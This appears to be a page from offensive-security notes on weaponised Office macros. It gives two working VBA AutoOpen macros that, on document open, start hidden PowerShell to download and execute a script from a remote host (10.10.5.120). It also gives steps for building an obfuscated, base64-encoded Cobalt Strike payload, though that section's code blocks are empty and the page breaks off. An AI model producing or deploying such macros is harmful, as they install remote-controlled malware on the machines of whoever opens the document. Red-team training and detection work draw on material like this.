Visual Basic (VBA Macros)

Simple Scenario

Sub AutoOpen()
  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.120/a'))"""
End Sub
Sub AutoOpen()
  Dim proc As Object
  Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
  proc.Create "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.120/a'))"""
End Sub

Advanced Scenario

Attack Diagram

Listener & Payload

  • Generate cobalt strike 32bit PowerShell payload.

  • Run the following script on it:

  • Obfuscate the internal base64 payload with the Invoke Obfuscation tool:

  • The full PowerShell code:

  • Encode it with Base64 encoding.

  • Host the encoded string on your own web server.

Macro Code (VB)

Last updated